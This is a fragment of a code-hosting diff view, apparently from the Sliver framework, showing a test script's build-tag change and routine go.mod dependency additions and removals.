cat ~/.sliver/logs/sliver.log
|
||||
@@ -149,7 +132,7 @@ else
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
if go test -tags=server,gosqlite ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
|
||||
@@ -5,8 +5,6 @@ go 1.17
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
@@ -61,10 +59,10 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/emirpasic/gods v1.12.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -108,6 +106,7 @@ require (
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
Loaded 100 of 213 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user